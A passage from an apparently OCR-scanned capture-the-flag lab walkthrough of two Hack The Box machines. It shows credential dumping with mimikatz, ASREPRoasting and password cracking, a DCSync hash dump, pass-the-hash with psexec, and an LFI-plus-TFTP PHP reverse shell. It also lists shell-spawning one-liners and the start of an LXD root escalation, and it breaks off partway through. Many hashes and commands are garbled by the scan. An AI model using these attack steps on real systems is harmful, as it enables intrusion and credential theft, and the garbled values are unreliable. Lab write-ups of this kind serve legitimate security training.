mimikatz # sekurlsa:: logonpasswords

And we find the password “Password1234!” for domain user “Sandra”.

Authentication Id : @ ; 328389 (90000000 :00B502c5)

Session : Interactive from 1

User Name : sandra

Domain : MEGACORP

Logon Server : PATHFINDER

Logon Time : 7/13/2020 2:13:21 AM

sSID : 5-1-5-21-1035856440-54137329016-3276773158-11085
mswv :

[eoeeee@d3] Primary

* Username : sandra

* Domain : MEGACORP

* NTLM : 29ab86cS5c4d2aab957763e5cl1720486d

* SHA1 : Bbd@ccc2a23892a74dfbbbb57f0faa9721562a38
*+ DPAPI : T4cT73b3f07c4f309ebf@B6644254bcbhe

tspke

wdigest
# Username : sandra

* Domain : MEGACORP

* Password : (null)
kerberos

L@l=crname : sandra

+ Domain : MEGACORP.LOCAL

* Password : Passwordl23g!
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5. Pathfinder

Machine : | Pathfinder

IP: | 10.10.10.30

Enumeration

This time we are going to use “masscan” (Mass IP port scanner)
root@kali:/# masscan -p 1-65535 10.10.10.30 -e tun0 --rate=1000

root@kali:/# masscan -p 1-65535 10.10.10.30 -e tun® —rate=1000

Starting masscan 1.8.5 (http://bit.ly/14GZzcT) at 2020-07-16 18:22:40 GMT
— forced options: -s55 -Pn -n —randomize-hosts -v —send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.30
Discovered open port 389/tcp on 10.10.10.30
Discovered open port 49683/tcp on 10.10.10.30
Discovered open port 3268/tcp on 10.10.10.30
Discovered open port 139/tcp on 18.10.10.30
Discovered open port 636/tcp on 10.10.10.30
Discovered open port 49676/tcp on 10.10.10.30
Discovered open port 9389/tcp on 10.10.10.30
Discovered open port 88/tcp on 10.10.10.30
Discovered open port 49677/tcp on 10.10.10.30
Discovered open port 3269/tcp on 18.18.1@8.30
Discovered open port 49720/tcp on 10.10.10.30
Discovered open port 47801/tcp on 10.10.10.30
Discovered open port 49667/tcp on 10.10.10.30
Discovered open port 49665/tcp on 10.10.10.30
Discovered open port 53/tcp on 10.10.10.30
Discovered open port 135/tcp on 10.10.10.30
Discovered open port 5985/tcp on 10.10.10.30
Discovered open port 49666/tcp on 10.10.10.30
Discovered open port 49698/tcp on 10.10.10.30
Discovered open port 49664/tcp on 10.10.10.30
Discovered open port 593/tcp on 10.10.10.30
Discovered open port 49673/tcp on 10.10.10.30
Discovered open port 464/tcp on 10.10.10.30

e Port 88 is typically associated with Kerberos
e Port 389 with LDAP, which indicates that this is a Domain Controller.
e Port 598 is typically associated with WinRM (link)
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We can attempt to enumerate Active Directory using the credentials we obtained in a

previous machine:

¢ sandra
o Password1234!

We can achieve this using a python bloodhound injester, but first, we need to install neo4j
and BloodHound

1S sudoapt install neo4j

:$S sudoapt install blo

Let’s install now the python bloodhound injester (https://github.com/fox-it/BloodHound.py)

It can also be installed using pip:

Let’s run the command:

bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.380

The BloodHound injester created some json files ready to be imported into BloodHound.

Remainder of file ignored
INFO: Found AD domain: megacorp.local
Connecting to LDAP server: Pathfinder.MEGACORP.LOCAL
Found 1 domains
Found 1 domains in the forest
Found 1 computers
Connecting to LDAP server: Pathfinder.MEGACORP.LOCAL
Found 5 users
Connecting to GC LDAP serwver: pathfinder.megacorp.local
Found 51 groups
Found @ trusts
Starting computer enumeration with 18 workers
Querying computer: Pathfinder.MEGACORP.LOCAL
Done in @M @7s
z $ 1s
computers.json domains. json groups.Jjson users.json

z s

Next, we need to configure the neo4j service. We can accomplish this by running the
following command

neodj console

: $ sudo neo4j console
Active database: graph.db
Directories in use:
home : fusr/share/neok4j
config: fusr/share/neo4j/conf
logs: fusr/share/neo4j/logs
plugins: fusr/share/neo4j/plugins
import: fusr/share/neo4j/import
data: fusr/share/neo4j/data
certificates: fusr/share/neo&4j/certificates
run: fusr/share/neo4j/run
Starting Neo&j.
WARNING: Max 1024 open files allowed, minimum of 42880 recommended. See the Neo4j manual.
7-17 17:15:19.946+0000 Neo&j 3.5.3
- - .955+0000 Starting ...
2020-07-17 17:15:21.655+0000 Bolt enabled on 127.8.8.1:7687.
2020-07-17 17:15:22_.772+0000 Started.
2020-07-17 17:15:23.490+0000 Remote interface available at http://localhost:7474/
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You will be then prompted to insert or change(at first login) your password.

nect to Meodj Gonnect AL
B8 BCCEEES MEUIres AN Authe il aled ©omrs Bon boltlocalhost: TERT
L ¢ T
1
Pas srwvesd
LR L L

If connected we will see

$ :serwer connect

Connected to Neo4j You are connected as user neo4j
Nice ta mest you. to bolt://localhost:7687

Connection credentials are stored in your web browser.

Next, we start BloodHound

bloodhound --no-sandbox

- $ sudo bloodhound —no-sandbox
[sudo] password for kali:

Ensure you have a connection to the database; indicated by a ¢ [ symbol at the top of the
three input fields. The default username is neo4j with the password previously set.

BloodHound

-
CLINR

BLOODHOUND

Log in to Neodj Database
Database URL bolt://localhost: 7687 ]

DB Usemame

DB Password

Save Password
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Below before importing the .json files:

= rF o | s
Database Info Node Info Oueries
Dhatabase Info
DB Address bolt:/ Ylocalhost: 7Fe8 7
DB User reo=lj
Users (e
Computers O
CGrou s Lo
Sessions (8
ACLs (8]
Relationships (o]

Refresh DB Stats

wwarrm Up Database

Opening BloodHound, we can drag and drop the .json files, and BloodHound will begin to
analyze the data.

o A K Y
FINISHED
Database Info Node Info Queries P ESSING ALL
Database Info
DB Address bolt://localhost: 7687 FINISHED
DB User neodj PROCESSING ALL
Users 5 FILES
Computers 1
Groups 53
i?i.ssions 0 FINISHED
475 PROCESSING ALL
Relationships 516 FILES

Refresh DB Stats

o e
Warm Up Database lear Database FINISHED
PROCESSING ALL
FILES

bloodhound_js - File Manager

dit View Go Help

™~ A /home/kali/HTB/StartingPoint/Pathfinder/bloodhound_js/

computers.json  domains.json groups.json
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We can select various queries, of which some very useful ones are Shortest Paths to High
value Targets and Find Principles with DCSync Rights.

While the latter query returns this:

Database Imfo Frodde Tmifo Ouerie s

FPre-Built Aoanalytics Queries

Fimnd all Dormain Acadrminmns

Find Shortest Paths o Domain Adrmeins

Find Principals with DCSwmc Rights

Usaers with Foreigmn Domain Group Membership

Sroup s withy Foreignm Dormain Group Memibership

Plap Domain Trusts

Shortest Paths to Unconstrained Delegation Systermrmes

Shortest Paths from Kerbercoastable Users

Shortest Paths to Domain Admins from Kerberoastable

Usaers

Shortest Path from Owwned Primncipals
: z s

B = PR N . x = o

Let’s select the domain “MEGACORP.LOCAL”

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights MEGACORPLOCAL
Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Chortnct Donthe $o ]l motenin Dimlmmyndime e

Select a Domain...

The query will generate the below graph for domain “MEGACORP.LOCAL”

BloodHound

= Start typing to se \ for a node FiY ] A 4

Database Info Node Info Queries

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights *'%%r
Users with Foreign Domain Group Membership
Groups with Foreign Domain Group Membership
Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems

Shortest Paths from Kerberoastable Users @
Shortest Paths to Domain Admins from Kerberoastable

Users

Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals

Shortest Paths to High Value Targets

List Computers where Domain Users are Local Admin

Shortest Paths from Domain Users to High Value Targets

Find All Paths from Domain Users to High Value Targets

Find Workstations where Domain Users can RDP 1o

Find Servers where Domain Users can RDP to

Find all other Rights Domain Users shouldn't have )
Find Kerberoastable members of High Value Groups
List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges s

Find Domain Admin Logons o non-Domain Controllers

Find unsupported 0Ss

Find AS-REP Roastable Users (DontReqPreAuth)

Mermber0f

s1 ADMINISTRATORS@MEGACORP.LOCE

Memberof
Cucetnm Nniariee » o e T

A Raw Querya \

Q

E @ k b

S

“MEGACORP.LOCAL
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We can see that the svc_bes has GetChangesAll privileges to the domain. This means that the
account has the ability to request replication data from the domain controller, and gain
sensitive information such as user hashes.

SVC_BES@MEGACORM™

A Raw Querys Y AAGORP DAL

Lateral Movement

It's worth checking if Kerberos pre-authentication has been disabled for this account, which
means it is vulnerable to ASREPRoasting. We can check this using a tool such as Impacket's

GetNPUsers.
GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

Impacket v0.9.22.dev1+20200713.100928. 1e84ad60 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for svc_bes
$krb5asrep$23$5vc_besaﬂEGAC0RP.LOCAL:e4eaa818?a?3F3bna?aFaas85d55ab15$315c5ﬂc411b9cb13543?1cc83
fiffad6c7d5dab4b328Badecd79bbas3febeldad9e8d5adacbB8dd25f2602cf8f1718cbB@bf293acc@79b6411cd3dbas2
dc2cBfchacf/cebca3bB366946f89d5de@9209b628ecacbff275e161b6e3517a459%ebbace@acc91b4325796Fe5bd996e6
3d961b2a746f80F110845ef1560705759a5128b99%baaddb67716bb4sbe23%9aaa5d2513f19b034e48320cff53b9d0d4cy
de5cdb8c881d8d8Bd9a54e395b4d4c2276d99bb8aba98b3d337173db64660a23710d7e3bd091fbbd4293568641c4f1f
141de55e57d2abc9111bacfeb7423733477688825caff3e1d911ab21c592fb296b920Fac497

Below out TGT ticket
SkrbSasrepS$23Ssve_bes@MEGACORP.LOCAL:0969b177c87205436a4ef15e3227¢3af$f967e09d463ebcfa60a0
1c5ddb3606de78b62d8629e8de55578236534abf7a8442f3b07dfe0b8fab22dceabb66586c99dec8a3e4629a09
9fb0lacc5721e0ca5ebf59fa0f6841f456a7a855ded8fb2b5860066ccab71c8ea362c335c¢5alalObde1a9091b6295
35fec165388e46b3069c002dd45569a89f6d30f9139911968364ae84bf06de3d39cdcbb3a44b373f71c3ff3f030f

3896fa4f698693889e8677136e942d9bale3175dc70e67f1b998d52170f3347dcc766fda831f9cd5d1f7d94706f
3b42339bf75869a6772280f69d2f2855a3b855ee221f053478f7e54c98c7fde493f85ce3cecl6e47f0c20ced4ab5
b14
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Once obtained the TGT ticket for the svc_bes, let’s save it into a file called hash(it could be

any name).
kali@kali: ~/HTB/StartingPoint/Pathfinder

File Actions Edit View Help

BkrbSasrep$svc_besaMEGACORP.LOCAL :5ef27ec429bb@65462f36bf88b2cd3ec$b03754acc41399e03d9ead2fOf43a6e8d8

f12fB8e8d773df7efcd3f1f2570287006d586d5d3e77d8c587ba6Bel8b24db38312da26d26ece58827cf13084025d2a7b5ddea
7f7d0943f314058a6fc@547b87 f4bcE52066dc5a932b7b341ad38f9ecs3efl1f9c3deddc9a94524eca269eablB8f545baks3228
fc5829af6199401ba299f675bc7a693226054378cPab2¢3353187Ffa2e17f97915ckccechT7e33dc2cBaabacd76244d3cad0cad
76947607F22a77a052c44b2b7fcc253a137¢cc75F71a99eb92b2b8c f94e77b9543be1907479c5742651aad4196Ff64c1fbDeb0
df74f4B8aBebc2d5bba97fesbeccae875363b4chklefl

We could have also used:
GetNPUsers.py megacorp.local/svc_bes -request -no-pass-dc-ip 10.10.10.30 | grep krb > hash

- % more hash
$krbSasrep$23$S?C_bESﬁHEGACURP.LDCAL:??ﬁ3?352SfB1ﬂd5E253ﬂﬁalc???ﬁ232f$3523fb?4ﬁ3??35f
0b@d3d&f3e8b2fd7cb11222793afPadesBec3dfifectSchBfcs3B0846b12FFO0007def937a9fbd97dade76
S5c2ccal4Bb327f027dfbo84B44b4sbac2001adbd22250ead19e9eaclcl24elbbc265ccBelbba7fo342baff
8290d4d84dd2chaf9a2df7fdaaab3b36390%9e2aldbe8f3b6baf382458463c4d57677c3ac9722f09a212447
abcd4d510e406602ab2587721f4act5¢c59dbf3841e92af7ebeckc18b4366d3749913901cc3cl1ffI9fba9fa
PB25f52264383195eabdB82feb2cc2becb3459bdbedd74bbf59e9chbb773bc8af1359d51cfdd6c8b3ibda7ddb
a@197b9c359142d33b45cB81e45c5e7bbecbada6 99

We will use JTR in conjunction with rockyou.txt to obtain the plaintext password but we could

have also used hashcat (link
S john hash -wordlist=/usr/share/wordlists/rockyou.txt

Below the password for svc_bes : Sheffield19

Using default input encoding: UTF-8

Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD&4
HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
Sheffield19 ($krb5asrep$23$svc_besaMEGACORP.LOCAL)

lg ©:00:00:18 DONE (2020-87-19 01:26) ©.85534g/s 586774p/s 586774c/s 5867
74C/s Sherbear94 .. Sheepydd

Use the "-—show" option to display all of the cracked passwords reliably
Session completed

It is now possible to access the server as svc_bes using WinRM. With the nmap scan we noted
that WinRM was enabled on port 5985. Let’s install “evil-winrm” (Installation directly as ruby
gem)

gem install evil-winrm

- sudo gem install evil-winrm
[sudo] password for kali:

Happy hacking! :)

Successfully installed evil-winrm-2.3

Parsing documentation for evil-winrm-2.3

Done installing documentation for evil-winrm after @ seconds
1 gem installed
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And run it against 10.10.10.30 using “svc_bes” credentials

$ sudo evil-winrm -i 10.10.10.30 -u svc_bes -p Sheffieldi9

PS C:\Users\svc_bes\Documents>
PS C:\Users\svc_bes\Documents> whoami

Privilege Escalation

SVC_BES@MEGACORM

o Raw Query»s. MEGACORELOCCAL

In order to leverage the GetChangesAll permission, we can use secretsdump.py (link) from

Impacket to perform a DCSync attack and dump the NTLM hashes of all domain users.

$ secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19a10

We can see the default domain Administrator NTLM hash

Impacket v0.9.22.dev1+20200713.100928.1e84ad6@ - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: @=5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)

[#] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee: Basb77d52b1845bfe94%ed1b9643bb18
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@c@85cP
krbtgt:502:aad3b435b51404eeaad3b435b51404ee: FOF700dbFf7b492969aac5943dab22fF3
svc_bes:1104:aad3b435b51404eeaad3bs35b51404ee:0d1ce37b8c9e5cfadbd20f5b88d5baca @ ::

sandra:11@ ad3b435b51404eecaad3b4s35b51404ee:29abB86c5c4d2aab957763e5¢c1720486d
PATHFINDER$:1000:aad3b435b51404eeaad3b435b51404ee:3c04d81522F867afa5384711d96b171F 1::

[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:856bbaf3be@f9a291fe9d18dle3fa9ebebaffb5ef2785c3fdcaf6472534d614F
Administrator:aesl128-cts-hmac-shal-96:5235da455da@8703cc108293d2b3falb
Administrator:des-cbc-md5: flc89e75a42cd@fb
krbtgt:aes256-cts-hmac-shal-96:d6560366b08ellfabta342ccd3fead7e69d852f927537430945d%9a0ef78F7dd5d
krbtgt:aesl128-cts-hmac-shal-96:02abd84373491e3d4655e7218beb65ce
krbtgt:des-cbc-md5:d@f8d@c86ee9d997
svc_bes:aes256-cts-hmac-shal-96:2712a119403ab640d89f5d@eebecafb449c21bc290ad7d46a0756d1009849238
svc_bes:aesl28-cts-hmac-shal-96:7d671abl3aa8f3dbdo9f4d8e652928cal
svc_bes:des-cbc-md5:1ccl6e37ef8940b5
sandra:aes256-cts-hmac-shal-96:2ddacc98eedadf24c2839fa3bac97432072cfac@fc432cfba9980408c929d810
sandra:aesl128-cts-hmac-shal-96:c399018a1369958d0f5b242e5eb72ek44
sandra:des-cbc-md5:23988f7a9d679d37
PATHFINDERS$:aes256-cts-hmac-shal-96:b2f56c838421a84186767ff223bf791df39f6a08e7f59bfeef5587d3b2422e88
PATHFINDER$:aes128-cts-hmac-shal-96:f94b2@0c563e69a22c44b96c4B8628396¢C

PATHFINDER$ :des-cbc-md5:d@bf5b8ataab3des

[*#] Cleaning up ...
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We can use this in a PTH attack (Pass-the-Hash attack) to gain elevated access to the system.

For this, we can use Impacket's psexec.py as follow:
psexec.py megacorp.local/administrator@10.10.10.30 -hashes <NTML hash>:<NTLM hash>

For <NTML hash>:<NTLM hash> we will use:

e NTML hash --> aad3b435b51404eeaad3b435b51404ee
e  NTLM hash --> 8a4b77d52b1845bfe949ed1b9643bb18

§ psexec.py megacorp.local/adninistratord?.10.10.30 -hashes

aad3bﬂ3SbSlﬁﬁﬂeeaad3bﬂ35b514ﬁﬁee 8akb77d52b1845bfed49ed109643bb18

An as we can see we gain elevated access to the system
Impacket v0.9.22.dev1+20200713.100928.1e84ad6@ - Copyright 2028 SecureAuth Corporation

Requesting shares on 10.10.10.30
Found writable share ADMIN$
Uploading file QBONzWnH.exe
Opening SVCManager on 10.10.10.30
Creating service tisw on 18.10.10.30
Starting service tisw
I'] Press help for extra shell commands
Microsoft Windows [Version 10.8.17763.187]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

49


https://hackspread.github.io/startingpoint
https://www.sans.org/reading-room/whitepapers/testing/crack-pass-hash-33219

6. Included (Linux)

Machine : | Included (Linux)

IP: | 10.10.10.55

Enumeration

Let’s run nmap with option —A  (to enable: OS detection, version detection, script scanning,

and traceroute)
:~$  sudo nmap-A-v10.10.10.55

PORT STATE SERVICE VERSION

80/tcp open  http Apache httpd 2.4.29 ((Ubuntu))

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.29 (Ubuntu)

| http-title: Site doesn't have a title (text/html; charset=UTF-8).

| _Requested resource was http://10.10.10.55/file=index.php

| _https-redirect: ERROR: Script execution failed (use -d to debug)

From a TCP scan we found only port 80 (Apache httpd 2.4.29 on Ubuntu)

We can navigate to the website in a browser.

Titan Gears

TITAMIUM RE-ENFORCED GEARS FO IMATE PERFORMANCE

HOMEPAGE OUR CLIENTS ABOUT US CAREERS CONTACT US

Welcome to our website
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Let’s try scanning the UDP ports

:~$ sudo nmap -sU -v 10.10.10.55
[sudo] password for kali:

Not shown: 999 closed ports
PORT  STATE SERVICE
69/udp open filtered tftp

The UDP scan found port 69 to be open, which hosts the TFTP service. TFTP or "Trivial File
Transfer Protocol", is similar to FTP but much simpler. It provides functionality only for
uploading or downloading files from a server.

Let's see if we can connect to TFTP and upload a file.

We first create a file named “test.txt”

S echo 1 > testtxt

S s
test.txt

We connect and confirm that we can upload files.

i $ tftp 10.10.10.55
tftp > put  test.txt

Sent 3 bytes in 0.1 seconds
tftp >

LFI(Local File Inclusion)

Let’s check if the URL of the website “http://10.10.10.55/file=index.php" is vulnerable to
Local File Inclusion.

T 10.10.10.55/2file —index.php

Titan Gears

TITANIUM RE-ENFORCED GEARS FOR ULTIMATE PERFORMANCE

HOMEPAGE O UR CLIENTS ABOUT Uus CA REERS q
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We can test by changing the URL to the following:

http://10.10.10.55/?file=../../../../etc/passwd

This is successful, and passwd contents are returned by the server.

@ 10.10.10.55 L oIn @D

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/

i n/nologin news:x
da(ax 33 33

Manager 1ewt
n/nol ogin 1

bin/bash [f[ X: ll., 113 tft daemo

alse mike:x:1000: 1000:mike:/home/mike:/

Titan Gears

TITANIUM RE-ENFORCED GEARS FOR ULTIMATE PERFORMANCE

HOMEPAGE OUR CLIENTS ABOUT US CAREERS CONTACT US

Foothold

We can try upload and execute a “PHP reverse shell” by combining the LFI vulnerability with
the TFTP service. This happens due to the inclusion of the PHP code by the vulnerable page,
which results in it's execution.

First we have to modify the PHP reverse shell which cane be taken from here if not present

on our kali system.

$ locate php-reverse-shell

fusr;’share;"laudanumfphp;’php reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php

/usr/share/webshells/php/php-reverse-shell.php

Let’s copy the file into our folder with name “rev.php”
b cp /usr/share/webshells/php/php-reverse-shell.php rev.php

$ sudo vi rev.php
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As usual, let’s modify the code for our needs:

L A A A A A A L

Once changed the IP address and the port, we upload our PHP reverse shell.
z $ tftp 10.10.10.55

tftp> put rev.php

Sent 5684 bytes in ©.6 seconds

tftp>

Let's start a netcat listener before navigating to the shell.
$ nc -lvnp 1234

listening on [any] 1234 ...

Next, we can use the LFl to access the reverse shell.

e The default TFTP root folder is /var/lib/tftpboot.

Navigating to http://10.10.10.55/?file=../../../../var/lib/tftpboot/rev.php, due to the inclusion
of the PHP code by the vulnerable page, will results in the PHP reverse shell execution.

() 10.10.10.55

WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to 10.10.14.8:1234 ERROR: Shell connection terminated

$ nc -lvnp 1234

listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.1@.18.55] 39348

Linux included 4.15.0-88-generic #88-Ubuntu SMP Tue Feb 11 20:11:34 UTC 2020 x86_64 xB6_64 xB86_64 GNU/Linux
@8:07:17 up 5:44, O users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGING IDLE JCPU  PCPU WHAT

uid=33(wwmw-data) gid=33(www-data) groups=33(wwmw-data)

/bin/sh: @: can't access tty; job control turned off
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We could have also used the “curl” tool as follow:
Scurl http://10.10.10.55/?file=../../../../var/lib/tftpboot/rev.php

And we get the reverse shell:
: $ curl http://10.10.10.55/?file=../../.. /.. /var/lib/tftpboot/rev.php

: $ nc -lvnp 1234

listening on [any] 1234 ...

connect to [10.10.14.8] from (UNKNOWN) [10.10.18.55] 39348

Linux included &.15.@-88-generic #88-Ubuntu SMP Tue Feb 11 20:11:34 UTC 2028 xB6_64 xB6_64 xB6_64 GNU/Linux
08:07:17 up 5:44, O users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIND IDLE JCPU PCPU WHAT

uid=33(wmw-data) gid=33(www-data) groups=33(wmw-data)

/bin/sh: @: can't access tty; job control turned off

The low privilged www-data user isn't allowed to read user files, let’s update the shell as

www-data
SHELL=/bin/bash script -q /dev/null
Ctrl-z
stty raw -echo
fg
reset

xterm

www-data@included:/$ |

Below some other ways to spwan a TTY shell. The top 3 would be most successful in general

for spawning from the command line.

e python3 -c 'import pty; pty.spawn("/bin/sh")'
e echo os.system('/bin/bash’)

e /bin/sh-i

e perl —e 'exec "/bin/sh";'

e perl: exec "/bin/sh";

e ruby: exec "/bin/sh"

e |ua: os.execute('/bin/sh')

e (From within IRB) exec "/bin/sh"

e (From within vi) :lbash

e (From within vi) :set shell=/bin/bash:shell

e (From within nmap) Ish

Many of these will also allow you to escape jail shells (link)
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From the etc/passwd file we see that we can see there is a user “mike”

more /Setc/passwd
root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:6@:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: fusr/sbin/nologin

systemd-network:x:100:182:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve://usr/sbin/nologin
—More—(66%)

syslog:x:102:106 :: /home/syslog: /usr/sbin/nologin
messagebus:x:103:107 :: /nonexistent:/usr/sbin/nologin

_apt:x:104: 55534"!n0nex15tent /usr/sbin/nologin

uuidd:x:186:110 :: /run/uuidd: /usr/sbin/nologin
dnsmasq:x:13?:55534:dnsma5q...:fvarflibfmisc:fusrfsbin/nologin
landscape:x:108:112 :: /var/lib/landscape:/usr/sbin/nologin
pollinate:x:189:1:: /var/cache/pollinate:/bin/false
mike:x:1000:1000:mike: /home/mike: /bin/bash

tftp:x:1106:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

We can switch to the user mike using the su command (link) with the password founded on

the previous machine (Pathfinder).

Using default input encoding: UTF-8

Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4

HMAC-MD5 RC&4& / PBKDF2Z HMAC-SHA1 AES 256/256 AVX2 8x])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Sheffield19 ($krb5asrep$23$svc_besaMEGACORP.LOCAL)

1g 0:00:00:18 DONE (2020-87-19 @1:26) @.05534g/s 586774p/s 586774c/s 5867
74C/s Sherbear94 .. Sheepy@s

Use the "-—show" option to display all of the cracked passwords reliably

Session completed

As shown below, once updated the shell as www-data, we can logged in as mike.

Password:
mike@included:/$ |

At location /home/mike we can find the user.txt file

mike@included:/S cd /home/mike/
mike@included: ~$ s
user.txt

We also notice that mike is a Ixd member
mike@included:/$ i

uid=1008(mike) gid=1000(mike) groups=1000(mike),188(1xd)

The LXD group is a high-privileged linux group; a member of the local “Ixd” group can
instantly escalate the privileges to root on the host operating system.
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Container and virtualization tools(source link)

While VMs supply a complete environment, system containers offer an environment as close
as possible to the one you'd get from a VM, but without the overhead that comes with
running a separate kernel and simulating all the hardware.

Introduction to LXD and LXC (link)

The vulnerability exists even with the LXD snap package , this is irrespective of whether that

user has been granted sudo rights and does not require them to enter their password.

LXD is a root process that carries out actions for anyone with write access to the LXD UNIX
socket. It often does not attempt to match the privileges of the calling user. There are
multiple methods to exploit this.

One of them is to use the LXD API to mount the host’s root filesystem into a container which
is going to use in this post. This gives a low-privilege user root access to the host filesystem.

e Linux Container (LXC) are often considered as a lightweight virtualization technology that

is something in the middle between a chroot and a completely developed virtual machine,
which creates an environment as close as possible to a Linux installation but without the
need for a separate kernel.

e Linux daemon (LXD) is the lightervisor, or lightweight container hypervisor. LXD is building

on top of a container technology called LXC which was used by Docker before. It uses the
stable LXC API to do all the container management behind the scene, adding the REST API
on top and providing a much simpler, more consistent user experience.

LXD Privilege Escalation

Privilege escalation through Ixd requires the access of local account.

Note: the most important condition is that the user should be a member of Ixd group (in our

case is 108, but it could have been any other number)
mike@included:/$ id

uid=1000(mike) gid=1000(mike) groups=1000(mike), KleL{(>c)]

First, we have create an image for Ixd, thus we first need to clone on our local machine the
following build-alpine repository

git clone https://github.com/saghul/Ixd-alpine-builder.git
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Let’s create a directory named “Ixd-alpine”

$ mkdir 1xd-alpine
$ cd lxd-alpine/
$ git clone https://github.com/saghul/lxd-alpine-builder.git

Cloning iﬁto 'lxd-alpine-builder’' ...

remote: Enumerating objects: 27, done.

remote: Total 27 (delta @), reused @ (delta @), pack-reused 27
Receiving objects: 100% (27/27), 16.00 KiB | 315.00 KiB/s, done.
Resolving deltas: 100% (6/6), done.

We move into the Ixd-alpine-builder
$ 1s

$ cd lxd-alpine-builder/
3 |

And execute the “./build-alpine” file

z $ sudo ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r@.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r@.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'

(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r@)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (@.7.2-r3)
(18/19) Installing alpine-keys (2.2-r@)
(19/19) Installing alpine-base (3.12.@-r@)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages

z $ 1s
build-alpine LICENSE README.md

On running the above command, a “tar.gz” file is created. Now we have to transferred this
“tar.gz” file from the attacker machine to the host (victim) machine.

We can use the following python command to start a local webserver

python -m SimpleHTTPServer 8888

$ 1s
build-alpine LICENSE README.md
$ python -m SimpleHTTPServer 8888

Serving HTTP on 8.0.0.0 port 8888 ...

On the host(victim) machine we can download the file “tar.gz” using the command “wget” as

follow:

e  First we move into the /tmp folder
e Then we run the command

mike@included:/$ cd /tmp

mike@included:/S wget 10.10.14.3:8888/alpine-v3.10-x86_64-20191008_1227 tar.gz
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We will see that our file has been transferred/downloaded.

b 1s
build-alpine LICENSE README.md
$ python -m SimpleHTTPServer 8888

Serving HTTP on 0.0.0.@ port 8888 ...
10.10.10.55 - - [28/Jul/2020 14:40:02] "GET /alpine-v3.12-x86_64-20200728_1438.tar.gz HTTP/1.1" 200 -

ike@included:/$ id

uid=100@(mike) gid=1000(mike) groups=1000(mike),108(1lxd)

ike@included:/$ cd /tmp/

<4.18:8888/alpine-v3.12-x86_64-20200728_1438.tar.gz

—2020-07-28 18:43:51— http://10.10.14.18:8888/alpine-v3.12-x86_64-20200728_1438.tar.gz
Connecting to 10.1@.14.18:8888 ... connected.

HTTP request sent, awaiting response... 200 0K

Length: 3183931 (3.eM) [application/gzip]

Saving to: ‘alpine-v3.12-x86_64-20200728_1438.tar.gz’

alpine-v3.12-x86_64 100%[=================== 3.04M 3.31MB/s in @.9s
2020-07-28 18:43:52 (3.31 MB/s) - ‘alpine-v3.12-xB6_64-20200728_1438.tar.gz’' saved [3183931/3183931]
ike@included:/tmp$ 1s

alpine-v3.12-x86_64-20200728_1438.tar.gz
ike@included:/tmp$ i

Next, we run the following commands to get the root.

First we built the image and can be added as an image to LXD as follows:
mike@included:/S Ixcimage import ./alpine-v3.12-x86_64-20200728_1438.tar.gz --alias <aliasName>

mike@included:/S Ixcimage import ./alpine-v3.12-x86_64-20200728_1438.tar.gz --alias rootimage

